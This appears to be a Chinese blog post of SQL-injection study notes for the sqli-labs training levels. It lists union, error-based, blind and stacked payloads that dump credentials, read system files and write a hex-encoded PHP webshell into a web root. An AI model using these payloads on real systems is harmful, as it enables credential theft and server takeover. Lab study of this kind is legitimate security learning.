sql注入

问题

1、SQL注入原理

在数据交互中,前端的数据传入到后台进行处理时,没有做严格的判断,过滤。导致传入的“数据”拼接到SQL语句中,被当作SQL语句的一部分执行,导致信息泄露。

2、如何判断注入点

可以对输入数据的地方输入一些特殊字符,看服务器是否会去执行。要是没有返回信息,可能是盲注。

联合注入

例子:(sql_lab第1关为例)

(1)找闭合

?id=1' and 1=1--+

(2)确定列数

?id=1' order by 1--+

(3)查看是否回显

?id=-1' union select 1,2,3--+

(4)查数据库名、表名

?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()--+

(5)查列名

?id=-1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'--+

(6)查询数据

?id=-1' union select 1,group_concat(username),group_concat(password) from security.users--+

(7)读文件

?id=-1' union select 1,2,load_file('C:/Windows/win.ini')--+

(8)写文件

?id=-1' union select 1,2,'' into outfile 'E:/Security/phpstudy_pro/WWW/yyy.php'--+

?id=-1' union select 1,2,load_file("C:/yyy.php") into outfile 'E:/Security/phpstudy_pro/WWW/yyy.php'--+

报错注入(有错误报出)

例子:(sql_lab第5关为例)

(1)找闭合

?id=1' and 1=1--+

(2)确定列数

?id=1' order by 1--+

(3)查看是否回显

?id=-1' union select 1,2,3--+

(4)查数据库名

?id=1' or extractvalue(1,concat(0x7e,(select database()),0x7e))--+

?id=1' or updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

(5)查表名

?id=1' or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))--+

?id=1' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+

(6)查列名

?id=1' or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"),0x7e))--+

?id=1' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"),0x7e),1)--+

(7)查数据

?id=1' or extractvalue(1,concat(0x7e,substr((select group_concat(username,"^",password) from security.users),1,30),0x7e))--+

?id=1' or updatexml(1,concat(0x7e,substr((select group_concat(username,"^",password) from security.users),1,30),0x7e),1)--+

(8)读文件

?id=1' or extractvalue(1,concat(0x7e,substr((select load_file("C:/Windows/win.ini")),1,30),0x7e))--+

?id=1' or updatexml(1,concat(0x7e,substr((select load_file("C:/Windows/win.ini")),1,30),0x7e),1)--+

?id=-1' union select 1,2,load_file('C:/Windows/win.ini')--+

(9)写文件

?id=-1' union select 1,2,'' into outfile 'E:/Security/phpstudy_pro/WWW/yyy.php'--+

?id=-1' union select 1,2,load_file("C:/yyy.php") into outfile 'E:/Security/phpstudy_pro/WWW/yyy.php'--+

布尔盲注(不管输入什么,界面只会出现两种结果)

例子:(sql_lab第8关为例)

(1)找闭合

?id=1' and 1=1--+

(2)确定列数

?id=-1' order by 1--+

(3)查看是否回显(可以用来写文件)

?id=-1' union select 1,2,3--+

(4)猜数据库长度

?id=1' and length(database())=8--+

(5)猜数据库名

?id=1' and substr(database(),1,1)='s'--+

?id=1' and ascii(substr(database(),1,1))=115--+

(6)猜出数据库后猜数据库中表的数量

?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4--+

(7)猜表名长度

?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6--+

依次类推一直猜......

(8)读文件(布尔盲注读不出来)

?id=-1' union select 1,2,file_load("C:/Windows/win.ini")--+

(9)写文件

?id=-1' union select 1,2,"" into outfile 'E:/Security/phpstudy_pro/WWW/yyy.php'--+

时间盲注(不管输入什么,界面都是一样的)

例子:(sql_lab第9关为例)

(1)找闭合

?id=1' and if(1=1,sleep(3),0)--+

(2)猜数据长度

?id=1' and if(length(database())=8,sleep(3),0)--+

(3)猜数据库名

?id=1' and if(ascii(substr(database(),1,1))=115,sleep(3),0)--+

(4)猜数据库中表数量

?id=1' and if((select count(table_name) from information_schema.tables where table_schema=database())=6,sleep(3),0)--+

(5)猜表名长度

?id=1' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6,sleep(3),0)--+

依次类推一直猜......

(6)读文件(可以用来探测是否存在这个文件)

?id=1' and if(length(load_file("C:/test.php"))>1,sleep(3),0)--+

(7)写文件

?id=1' into outfile "E:/Security/phpstudy_pro/WWW/yyy.php" lines terminated by ""--+

?id=1' into outfile "E:/Security/phpstudy_pro/WWW/yyy.php" lines terminated by 0x3C3F7068702061737365727428245F504F53545B6C657373395D293B3F3E--+

堆叠注入(利用mysqli_multi_query()函数)

例子:(sql_lab第38关为例)

(1)可写入数据到数据库

?id=1' union select 1,2,3;insert into users(username,password) value("yyy","yyy");

3、sqlmap学习

6.sql注入的更多相关文章

  1. 个人网站对xss跨站脚本攻击(重点是富文本编辑器情况)和sql注入攻击的防范

    昨天本博客受到了xss跨站脚本注入攻击,3分钟攻陷--其实攻击者进攻的手法很简单,没啥技术含量.只能感叹自己之前竟然完全没防范. 这是数据库里留下的一些记录.最后那人弄了一个无限循环弹出框的脚本,估计 ...

  2. Web安全相关(五):SQL注入(SQL Injection)

    简介 SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据 ...

  3. 从c#角度看万能密码SQL注入漏洞

    以前学习渗透时,虽然也玩过万能密码SQL注入漏洞登陆网站后台,但仅仅会用,并不理解其原理. 今天学习c#数据库这一块,正好学到了这方面的知识,才明白原来是怎么回事. 众所周知的万能密码SQL注入漏洞, ...

  4. 浅谈SQL注入风险 - 一个Login拿下Server

    前两天,带着学生们学习了简单的ASP.NET MVC,通过ADO.NET方式连接数据库,实现增删改查. 可能有一部分学生提前预习过,在我写登录SQL的时候,他们鄙视我说:“老师你这SQL有注入,随便都 ...

  5. 揭开SQL注入的神秘面纱PPT分享

        SQL注入是一个老生常谈但又经常会出现的问题.该课程是我在公司内部培训的课程,现在分享出来,希望对大家有帮助.     点击这里下载.

  6. 深入理解SQL注入绕过WAF和过滤机制

    知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...

  7. jdbc java数据库连接 8)防止sql注入

    回顾下之前jdbc的开发步骤: 1:建项目,引入数据库驱动包 2:加载驱动 Class.forName(..); 3:获取连接对象 4:创建执行sql语句的stmt对象;  写sql 5:执行sql ...

  8. Entity Framework关于SQL注入安全问题

    1.EF生成的sql语句,用 parameter 进行传值,所以不会有sql注入问题 2.EF下有涉及外部输入参数传值的,禁止使用EF直接执行sql命令方式,使用实体 SQL   参考: https: ...

  9. 关于SQL注入和如何防止

    之前在笔试的时候没有很好的答出这个问题,因此我要总结一下问题,以免日后继续在这个地方跌倒,以下是自己的理解,如有错误请指出 一.什么是SQL注入 SQL注入就是服务器在根据业务去处理数据库的时候,客户 ...

  10. Java防止SQL注入2(通过filter过滤器功能进行拦截)

    首先说明一点,这个过滤器拦截其实是不靠谱的,比如说我的一篇文章是介绍sql注入的,或者评论的内容是有关sql的,那会过滤掉:且如果每个页面都经过这个过滤器,那么效率也是非常低的. 如果是要SQL注入拦 ...

随机推荐

  1. backward函数中gradient参数的一些理解

    当标量对向量求导时不需要该参数,但当向量对向量求导时,若不加上该参数则会报错,显示"grad can be implicitly created only for scalar output ...

  2. mysql查询mapper返参类型为List

    List<String> lists = mapper.select(); 返参类型为List,查询没有数据的时候,lists不会为null,lists.size() 为 0.

  3. 01. JavaScript基础知识

    一.JavaScript简介   JavaScript 是一门解释型编程语言,解释型编程语言指代码不需要手动编译,而是通过解释器边解释边执行.所以,要运行 JS,我们需要在计算机中安装 JS 的解释器 ...

  4. IT工具知识-13: 如何编辑SVG图像文件并转换为ICO图标文件

    使用背景 最近做了个小软件, 但是桌面快捷方式图标不好看, 于是想着找个好看点的图标, 但是网上搜了一圈, 发现好看的几乎都要钱, 常用的话, 付费倒也不反感, 但是, 仅仅只用那么一两次, 为这个付 ...

  5. 打开配置windos 2016 防火墙 日志

    1 点击"开始"或者win+R打开"运行"对话框 键入gpedit.msc

  6. Nginx重启操作

    1.杀掉Nginx进程 killall nginx 2.启动Nginx /usr/local/openresty/nginx/sbin/nginx -c /usr/local/openresty/ng ...

  7. CBV源码分析及模板语法之传值 过滤器 标签 继承 导入

    CBV的源码分析 # CBV的源码入口从哪里看呢? CBV的核心源码: return self.dispatch(request, *args, **kwargs) def dispatch(self ...

  8. tcpdump 对指定pod 进行抓包分析

    tcpdump kubectl get pod -n imas imas-chabot-759bc8c6cf-bvq7m -o json 获取到pod所在的容器信息,在对应的宿主机获取卡片信息. do ...

  9. VisualVM无法运行,修改配置文件

      在VisualVM安装位置下找到etc目录修改etc目录下的visualvm.conf文件 加入配置 参数 指定JDK或JRE路径,如 visualvm_jdkhome="C:\xxx\ ...

  10. Sqoop导入MySQL表中数据到Hive出现错误: ERROR hive.HiveConfig: Make sure HIVE_CONF_DIR is set correctly.ERROR tool.ImportTool: Import failed:

    1.问题描述: (1)问题示例: [Hadoop@master TestDir]$ sqoop import --connect jdbc:mysql://master:3306/source?use ...